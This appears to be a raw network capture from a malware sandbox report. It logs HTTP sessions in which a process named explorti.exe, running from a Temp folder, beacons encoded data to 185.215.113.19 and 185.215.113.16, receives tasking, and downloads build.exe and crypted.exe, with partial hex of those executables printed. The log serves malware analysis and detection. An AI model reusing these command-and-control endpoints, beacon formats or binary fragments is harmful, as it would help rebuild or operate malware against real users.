Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49792	34.107.221.82	80	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:00.598690033 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 08:58:01.065083981 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 44942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 08:58:11.133416891 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 08:58:13.349268913 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 08:58:13.449879885 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 44954 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49794	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:00.769718885 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:01.565448046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:01.578027964 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:01.883109093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49796	34.107.221.82	80	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:01.076390982 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 08:58:01.565510988 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 74811 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 08:58:11.585097075 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 08:58:13.865637064 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 08:58:13.972744942 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 74823 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49800	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:02.023519039 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:02.782722950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:02.783628941 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:03.042865992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49803	185.215.113.19	80	6188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:03.233967066 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:04.000767946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:04.008519888 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:04.258429050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49806	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:04.408952951 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:05.190910101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:05.193620920 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:05.449961901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49807	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:04.807303905 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:05.570111036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:05.570960045 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 46 41 31 34 31 43 41 46 44 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFFA141CAFDFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Jul 26, 2024 08:58:05.838574886 CEST	960	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 30 31 0d 0a 20 3c 63 3e 31 30 30 30 30 30 31 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 31 65 39 66 34 66 36 62 37 30 34 36 65 66 36 65 31 23 31 30 30 30 30 30 32 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 30 65 65 65 34 65 61 61 37 34 66 36 66 61 30 65 31 37 65 37 36 23 31 30 30 30 30 30 33 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 37 36 61 38 61 39 61 64 62 39 35 39 35 33 61 30 65 31 37 65 37 36 23 31 30 30 30 30 30 34 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 30 65 65 [TRUNCATED] Data Ascii: 301 <c>1000001001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a721e9f4f6b7046ef6e1#1000002001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a720eee4eaa74f6fa0e17e76#1000003001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a776a8a9adb95953a0e17e76#1000004001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a720eee4eaa74f6fefaa636b77#1000005001+++aa0ed3651df49fa1a60d0feace0224f1c549f950806bd0ffe4ed3bf9#1000009001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a771a9adade11a39bdaa636b77#1000010001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a733f9efffb7046ef6e1#1000012001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a771acafaafd4f73eb#1000014001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a724fdeafea74225ebfc63#<d>0
Jul 26, 2024 08:58:05.857908964 CEST	53	OUT	GET /inc/build.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:58:06.103652954 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:05 GMT Content-Type: application/octet-stream Content-Length: 11267584 Last-Modified: Thu, 25 Jul 2024 14:15:34 GMT Connection: keep-alive ETag: "66a25e06-abee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 2a a8 9c 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 29 00 ae 01 00 00 ea ab 00 00 1e 01 00 f6 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 80 ad 00 00 04 00 00 0d 07 03 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 10 0e 00 00 00 80 03 00 40 e0 a9 00 00 10 02 00 28 08 00 00 00 00 00 00 00 00 00 00 00 70 ad 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e3 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd*f.)@` P@(p@(hS.text``.data@.rdataP+,@@.eh_fram@.pdata(@@.xdata @@.bss0.idataP@.CRT``@.tlsp@.rsrc@@@.relocp@B
Jul 26, 2024 08:58:06.103672981 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 48 89 e5 48 89 4d 10 48 89 55 18 4c 89 45 20 44 89 4d 28 90 5d c3 55 Data Ascii: UHHMHULE DM(]UHH THtOCH7H2HguH)H;H ]UHH0HwH
Jul 26, 2024 08:58:06.103683949 CEST	1236	IN	Data Raw: 48 89 c1 e8 96 a5 01 00 48 89 45 f0 48 8b 45 28 48 8b 00 48 89 45 e8 c7 45 fc 00 00 00 00 e9 8f 00 00 00 8b 45 fc 48 98 48 8d 14 c5 00 00 00 00 48 8b 45 e8 48 01 d0 48 8b 00 48 89 c1 e8 ac a5 01 00 48 83 c0 01 48 01 c0 48 89 45 e0 8b 45 fc 48 98 Data Ascii: HHEHE(HHEEEHHHEHHHHHHEEHHHEHHEH0HEHHHEHHEHHHEHHHMIHEE;E eEHHHEHHHE(HUHHH[]UHH
Jul 26, 2024 08:58:06.103703022 CEST	1236	IN	Data Raw: 0f bd d0 b8 08 00 00 00 29 d0 49 83 f9 88 0f 87 25 02 00 00 4b 8d 74 08 f8 48 8b 16 eb 7f 0f 1f 40 00 48 8d 1d c9 b6 01 00 41 0f b6 10 4a 63 0c 8b 48 01 d9 ff e1 0f 1f 40 00 41 0f b6 48 06 48 c1 e1 30 48 01 ca 41 0f b6 48 05 48 c1 e1 28 48 01 ca Data Ascii: )I%KtH@HAJcH@AHH0HAHH(HAHH HAHHHAHHHAHHHQLD))K,"MK@MhLu?fI9?HAL)L9H)HM9
Jul 26, 2024 08:58:06.103713036 CEST	1236	IN	Data Raw: 00 48 c7 c0 ec ff ff ff 48 89 94 24 08 01 00 00 49 89 ca 49 83 f9 09 76 3f 41 0f b7 38 41 0f b7 48 02 4c 89 ca 41 0f b7 58 04 4c 8b 9c 24 20 01 00 00 48 8d 04 0f 49 89 fd 48 89 ce 48 29 c2 45 8b 1b 49 89 dc 48 29 da 48 8d 42 fa 49 39 c1 73 1d 48 Data Ascii: HH$IIv?A8AHLAXL$ HIHH)EIH)HBI9sHH[^_]A\A]A^A_fHMxAl8L\|$@HMt?Lt$@MAA)H{L\|$@LH\|$(lHoHtHt$ @H>
Jul 26, 2024 08:58:06.103724957 CEST	1236	IN	Data Raw: 8d 3c 78 0f b6 0f 0f b6 7f 01 41 88 4b fe 89 e9 44 01 e7 49 d3 e7 44 89 c1 4d 89 fc 49 d3 ec 4e 8d 24 60 45 0f b6 74 24 01 41 0f b6 0c 24 41 01 ee 48 8b 6c 24 08 41 88 4a ff 44 89 c9 48 d3 e5 44 89 c1 48 d3 ed 48 8d 2c 68 44 0f b6 7d 01 0f b6 4d Data Ascii: <xAKDIDMIN$`Et$A$AHl$AJDHDHH,hD}MELL$KIDINHAEINALHDHHPRAKHL$XH\|$H9fEHfwmL=Mc4MA@H@EpI0
Jul 26, 2024 08:58:06.103737116 CEST	984	IN	Data Raw: d0 41 83 ff 40 0f 87 5a 01 00 00 44 8b 8c 24 8c 00 00 00 48 8b 8c 24 98 00 00 00 4c 8b 54 24 60 41 f7 d9 4c 8d 61 fd 41 83 e1 3f e9 e0 00 00 00 66 0f 1f 44 00 00 48 8b 4c 24 20 48 39 4c 24 28 0f 84 1f 01 00 00 44 89 ff c1 ef 03 41 89 f8 4c 29 c1 Data Ascii: A@ZD$H$LT$`ALaA?fDHL$ H9L$(DAL)LD$(L9L9HL$ AA)H9EDIHIDIN@AE@EKIDIDIN<xAEEKIDIDIN@AE@EKIDID
Jul 26, 2024 08:58:06.103821039 CEST	1236	IN	Data Raw: 08 01 00 00 89 d1 c1 e9 03 41 89 c8 4c 29 c6 48 39 fe 0f 82 d6 00 00 00 49 39 db 48 89 74 24 48 4c 8b 2e 41 0f 92 c0 c1 e1 03 29 ca 45 84 c0 0f 84 d7 00 00 00 89 d1 4d 89 e8 49 83 c3 04 49 d3 e0 44 89 c9 49 d3 e8 4a 8d 0c 40 0f b6 71 01 44 0f b6 Data Ascii: AL)H9I9Ht$HL.A)EMIIDIJ@qDLECHDHHPDBLAAKDHDHHPrLDAKHDHHPDREC@wLL9T$H#H)L$HHt$HI9AL.@fH\$H
Jul 26, 2024 08:58:06.103965044 CEST	1236	IN	Data Raw: 89 ac 24 80 00 00 00 48 01 fd 48 89 74 24 50 48 8b 74 24 40 48 01 ef 48 83 c0 04 4c 89 74 24 68 48 83 c6 08 48 89 ac 24 88 00 00 00 48 89 74 24 58 48 8b 74 24 70 48 89 bc 24 90 00 00 00 48 83 c6 08 48 89 74 24 60 48 89 fe 4c 39 f7 0f 83 cc 0c 00 Data Ascii: $HHt$PHt$@HHLt$hHH$Ht$XHt$pH$HHt$`HL9DD$\|L\|$MH$AA?fDE1I)Ll$ I]L\|$PL9<$EAAL),$L4$M6L\|$XL9\|$EAAL)l$L\|$M?L\|$L\|$`L9\|$w
Jul 26, 2024 08:58:06.103976011 CEST	1236	IN	Data Raw: e5 4c 8b 74 24 40 41 0f b6 6e 06 48 c1 e5 30 49 01 ef 4c 8b 74 24 40 41 0f b6 6e 05 48 c1 e5 28 49 01 ef 4c 8b 74 24 40 41 0f b6 6e 04 48 c1 e5 20 49 01 ef 4c 8b 74 24 40 41 0f b6 6e 03 48 c1 e5 18 49 01 ef 4c 8b 74 24 40 41 0f b6 6e 02 48 c1 e5 Data Ascii: Lt$@AnH0ILt$@AnH(ILt$@AnH ILt$@AnHILt$@AnHILt$@AnHIEAALt$@E)ALt$A)L\|$ML$I9AH9$AEH9$@HDl$\|ILt$AA?
Jul 26, 2024 08:58:06.104134083 CEST	1236	IN	Data Raw: 40 88 7d ff 41 83 fa 40 77 52 48 39 5c 24 10 0f 82 2d ff ff ff 44 89 d1 41 83 e2 07 c1 e9 03 48 29 4c 24 10 48 8b 7c 24 10 4c 39 e5 0f 92 c1 4c 8b 3f e9 4d ff ff ff 0f 1f 00 48 8b 7c 24 10 48 89 cb 48 89 f9 48 29 d9 41 89 c8 c1 e1 03 4c 29 c7 41 Data Ascii: @}A@wRH9\$-DAH)L$H\|$L9L?MH\|$HHH)AL)A)H\|$L?DD$\|H$AA?H9s$HHHI]AH9uA@CDD$\|H\|$hH\$`AA?@Lt$pL\|$M9DI)MM9M?H9L
Jul 26, 2024 08:58:15.364634037 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000001001&unit=246122658369
Jul 26, 2024 08:58:15.621887922 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 08:58:15.622961998 CEST	55	OUT	GET /inc/crypted.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:58:15.868582964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:15 GMT Content-Type: application/octet-stream Content-Length: 967168 Last-Modified: Thu, 25 Jul 2024 14:15:18 GMT Connection: keep-alive ETag: "66a25df6-ec200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 fd 78 6c 84 9c 16 3f 84 9c 16 3f 84 9c 16 3f 57 ee 15 3e 88 9c 16 3f 57 ee 13 3e 2e 9c 16 3f 57 ee 12 3e 91 9c 16 3f 46 1d 12 3e 96 9c 16 3f 57 ee 17 3e 81 9c 16 3f 84 9c 17 3f 00 9c 16 3f 46 1d 13 3e d8 9c 16 3f 46 1d 15 3e 9c 9c 16 3f 77 1e 1f 3e 85 9c 16 3f 77 1e e9 3f 85 9c 16 3f 77 1e 14 3e 85 9c 16 3f 52 69 63 68 84 9c 16 3f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 b3 9e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 72 08 00 00 64 06 00 00 00 00 00 ba e1 02 00 00 10 00 00 00 90 08 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 